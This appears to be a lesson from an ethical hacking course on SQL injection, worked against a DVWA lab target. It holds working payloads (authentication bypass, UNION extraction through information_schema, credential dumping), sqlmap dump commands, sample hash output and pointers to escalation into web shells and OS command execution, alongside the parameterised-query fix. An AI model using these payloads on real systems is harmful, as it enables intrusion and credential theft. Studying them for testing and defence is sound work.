Ethical Hacking
SQL Injection
SQL injection has been in the OWASP Top 10 since the list was created. Databases power almost every web application. When user input is inserted directly into a database query without being treated as data, the attacker controls the query itself — and through it, the entire database.
The mechanics of SQL injection
A web application talks to its database by constructing SQL queries and sending them for execution. A login form might build its query like this:
The application takes whatever the user types into the username field and places it directly into that query string. If the user types admin' -- as their username, the query becomes:
The single quote closes the username string. The double dash comments out everything after it — including the password check. The database executes the query as if only the username condition existed. If admin is a valid user, the query returns their record and the application logs in as admin without any password verification. This is SQL injection at its most basic — the attacker broke out of the data context (the string value) and modified the query structure itself.
Testing for SQL injection manually
Manual testing confirms the vulnerability exists and builds an understanding of the database structure before reaching for automated tools. Burp Suite Repeater is the right environment — capture a request, modify the parameter, send it, and read the response. The goal of the manual phase is to confirm injection, identify the database type, and understand the query structure.
The scenario: The DVWA login form on Metasploitable is running with its security level set to low. You have intercepted the POST request in Burp and are testing the username parameter for SQL injection using Burp Repeater.
# Step 1 — basic injection test: the single quote
# A single quote breaks the SQL string context
# If the application returns a database error, SQL injection is likely present
# If the application returns the same page as a normal failed login — not injectable here
username=admin'
# Step 2 — confirm with a true condition
# The OR 1=1 makes the WHERE clause always evaluate to true
# If the response shows all users (or logs in as the first user in the table)
# injection is confirmed — the boolean logic was interpreted by the database
username=admin' OR 1=1 --
password=anything
# Step 3 — identify the database type
# Different databases use different syntax for version queries
# MySQL/MariaDB: VERSION()
# Microsoft SQL Server: @@VERSION
# PostgreSQL: version()
# Oracle: v$version
# Inject into the username field and observe the error message for clues
username=admin' AND 1=CONVERT(int, @@VERSION) --
# Step 4 — find the number of columns in the current query
# ORDER BY increments the column number until the query throws an error
# When ORDER BY 4 errors but ORDER BY 3 succeeds — query has 3 columns
username=admin' ORDER BY 1 --
username=admin' ORDER BY 2 --
username=admin' ORDER BY 3 --
username=admin' ORDER BY 4 -- # <-- if this errors, 3 columns confirmed
--- username=admin' (single quote test) ---
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax
to use near ''admin''' at line 1
--- username=admin' OR 1=1 -- ---
Welcome admin!
There are 5 user(s) in the database.
--- ORDER BY 3 vs 4 ---
ORDER BY 3: Welcome admin!
ORDER BY 4: Unknown column '4' in 'order clause'
--> Query has 3 columns confirmed
Breaking it down:
The MySQL error message in the response reveals the backend database type (MySQL), confirms the parameter is directly inserted into the query without sanitisation, and shows exactly where the input appears in the query syntax. Verbose database errors are both a security misconfiguration (A05) and the pen tester's best friend — they provide the information needed to craft precise payloads.
The WHERE clause now reads: username equals 'admin' OR (always true). A true OR condition makes the entire clause true regardless of the username check. The database returns all users. The application logs in as the first user in the result set — which is often admin. The double dash comments out the password check entirely. No valid password was supplied at any point.
Knowing the number of columns in the query is essential for UNION-based injection — where the attacker appends a second SELECT to extract data from other tables. UNION requires both queries to return the same number of columns. ORDER BY probes this without needing to guess column names — it references by position and errors when the position exceeds the actual column count.
UNION injection — extracting data from other tables
Once the column count is known, UNION injection appends a second SELECT statement to the original query and uses it to read data from any table in the database — not just the one the application intended. The injected SELECT returns its results alongside the original query's results. The application displays both — revealing data it was never designed to expose.
# UNION injection — extract data from other tables
# Requires knowing the column count (3 from the ORDER BY test above)
# NULL placeholders fill columns we are not reading — matching data types
# Step 1 — find which columns are displayed in the response
# Replace NULLs one at a time with a visible string to see which position appears
username=admin' UNION SELECT 'INJECT1','INJECT2','INJECT3' --
# Step 2 — extract the current database name and MySQL version
# database() returns the name of the currently selected database
# @@version returns the MySQL server version string
username=admin' UNION SELECT database(),@@version,NULL --
# Step 3 — enumerate all tables in the current database
# information_schema.tables is a system table listing every table in every database
# table_schema filters to just the current database tables
username=admin' UNION SELECT table_name,NULL,NULL
FROM information_schema.tables
WHERE table_schema=database() --
# Step 4 — extract column names from the users table
username=admin' UNION SELECT column_name,NULL,NULL
FROM information_schema.columns
WHERE table_name='users' --
# Step 5 — extract the actual user data
# Concatenate username and password into one column using CONCAT
username=admin' UNION SELECT CONCAT(user,':',password),NULL,NULL
FROM users --
--- database() and @@version --- dvwa | 5.0.51a-3ubuntu5 --- Tables in dvwa --- guestbook users --- Columns in users table --- user_id, first_name, last_name, user, password, avatar --- Extracted user credentials --- admin:5f4dcc3b5aa765d61d8327deb882cf99 gordonb:e99a18c428cb38d5f260853678922e03 1337:8d3533d75ae2c3966d7e0d4fcc69216b pablo:0d107d09f5bbe40cade3de5c71e9e9b7 smithy:5f4dcc3b5aa765d61d8327deb882cf99
Breaking it down:
MySQL maintains a built-in database called information_schema that contains metadata about every other database — table names, column names, data types, and relationships. Accessing information_schema through injection gives the attacker a complete map of the database structure without guessing any table or column names. Every MySQL database has it. PostgreSQL has pg_catalog. SQL Server has sys.tables. This is the standard enumeration path in any SQL injection assessment.
The extracted passwords are MD5 hashes — 5f4dcc3b5aa765d61d8327deb882cf99 is the MD5 of "password." These can be cracked offline using hashcat in mode 0 (MD5) with rockyou.txt — exactly as covered in Lesson 21. SQL injection extracted the hash. Offline cracking reveals the plaintext. The chain of techniques across lessons connects here: reconnaissance identified the service, injection extracted credentials, and hash cracking reveals the plaintext.
Automated extraction with sqlmap
Manual injection builds the understanding needed to interpret results and handle unusual cases. sqlmap automates the enumeration process — detecting the injection point, identifying the database type, and extracting data without manual payload construction. It handles dozens of injection techniques including boolean-based blind injection (where no data is returned directly), time-based blind injection (where the database delays responses to signal true/false), and out-of-band techniques.
sqlmap is included on Kali. The key is giving it enough context about the request — which parameter to test, what the request method is, and whether authentication cookies are needed. On a login form, capture the POST request in Burp first, save it to a file, and point sqlmap at the file — this ensures sqlmap tests the exact request the application expects.
# Run sqlmap using a saved Burp request file
# Save the raw HTTP request from Burp by right-clicking → Save item
# Then point sqlmap at the saved file with -r
# -r read the request from a file (includes all headers and POST body)
# -p the specific parameter to test (username in this case)
# --dbs enumerate all accessible databases
# --level 5 increases the depth of injection tests (1=fast, 5=thorough)
# --risk 3 increases the risk level of tests (use carefully on production)
sqlmap -r /tmp/dvwa_login.txt -p username --dbs
# Once the database name is known — enumerate its tables
# -D dvwa target the dvwa database specifically
# --tables list all tables in that database
sqlmap -r /tmp/dvwa_login.txt -p username -D dvwa --tables
# Dump the contents of the users table
# -T users target the users table
# --dump extract all rows from the table
# --batch accept all default prompts without interactive confirmation
sqlmap -r /tmp/dvwa_login.txt -p username \
-D dvwa -T users --dump --batch
sqlmap identified the following injection point(s): Parameter: username (POST) Type: boolean-based blind Payload: username=admin' AND 1=1-- - Type: error-based Payload: username=admin' AND EXTRACTVALUE(...) Type: UNION query Payload: username=admin' UNION ALL SELECT NULL,NULL,NULL-- - available databases [3]: [*] dvwa [*] information_schema [*] mysql Database: dvwa [2 tables] +------------+ | guestbook | | users | +------------+ Database: dvwa Table: users +--------+---------+----------------------------------+ | user | avatar | password | +--------+---------+----------------------------------+ | admin | ... | 5f4dcc3b5aa765d61d8327deb882cf99 | | gordonb| ... | e99a18c428cb38d5f260853678922e03 | +--------+---------+----------------------------------+
Breaking it down:
sqlmap found boolean-based blind, error-based, and UNION query injection all in the same parameter. Each technique works differently — error-based extracts data through database error messages, boolean-based infers data one bit at a time by observing true/false response differences, and UNION returns data directly. sqlmap automatically selects the most efficient technique for each extraction task. Understanding all three helps interpret what sqlmap is doing and why it chooses a particular approach.
By default sqlmap pauses frequently to ask whether to continue with riskier tests. On an authorised engagement where you want to capture the full output for the report, --batch accepts all defaults automatically and lets the tool run to completion. Always document the exact sqlmap command used — the flags tell the client and any auditor exactly what was tested and at what risk level.
The fix — parameterised queries eliminate SQL injection entirely
SQL injection exists because the application mixes query structure and data in the same string. The fix separates them permanently — using parameterised queries (also called prepared statements) where the query structure is defined first and the user input is bound as a typed parameter afterwards. The database treats the parameter as pure data regardless of its content. No SQL syntax in the input can ever affect the query structure.
Vulnerable — string concatenation
$sql = "SELECT * FROM users
WHERE username = '"
. $username . "'";
# User input directly in query
# Single quote breaks the string
# Injection is trivially possible
Secure — parameterised query
$stmt = $pdo->prepare(
"SELECT * FROM users
WHERE username = ?"
);
$stmt->execute([$username]);
# Query structure fixed at prepare()
# Input bound as typed data
# SQL syntax in input has no effect
Parameterised queries are not a mitigation — they are a complete elimination of the vulnerability class. If every database query in an application uses parameterised queries, SQL injection cannot exist in that application. Input validation, escaping, and WAF rules all reduce risk but none of them is as reliable as parameterised queries. The remediation recommendation in a pen test report for any SQL injection finding is always the same: refactor to use parameterised queries or a safe ORM abstraction. No other recommendation is sufficient.
Beyond the database — escalating from SQL injection
Extracting credentials and reading database tables is the expected impact of SQL injection. But depending on the database configuration and privilege level, SQL injection can escalate considerably further — into operating system command execution on the server itself.
MySQL's LOAD_FILE() function reads files from the server's filesystem if the database user has the FILE privilege. SELECT ... INTO OUTFILE writes query results to a file on the server — a path within the web root turns it into a web shell. Microsoft SQL Server's xp_cmdshell stored procedure executes operating system commands directly. sqlmap's --os-shell flag attempts all of these automatically and returns an interactive shell if successful.
SQL injection scope considerations
Data extracted from a database during SQL injection testing must be treated with the same care as any other sensitive data encountered during an engagement. If the users table contains real customer records — names, email addresses, payment data — that data does not leave the engagement. It is documented as evidence of exploitability (showing column names and row counts is sufficient) without extracting and retaining actual customer records. The scope of what sqlmap extracts with --dump should be limited to what is necessary to demonstrate the vulnerability. Extracting and retaining an entire customer database during a pen test creates legal and ethical obligations that the engagement contract must address in advance.
Teacher's Note: The PortSwigger Web Security Academy has an excellent SQL injection learning path at portswigger.net/web-security/sql-injection — fourteen free labs covering in-band, blind, and out-of-band injection across different database platforms. Working through these before client engagements builds the pattern recognition needed to spot injection points quickly. The difference between a tester who runs sqlmap and one who understands the technique manually is visible in every report they write.
Quiz
Scenario:
Scenario:
Scenario:
Up Next · Lesson 39
Cross-Site Scripting (XSS)
Reflected, stored, and DOM-based XSS — injecting JavaScript into web pages, stealing session cookies, and understanding the browser trust model that makes XSS so impactful.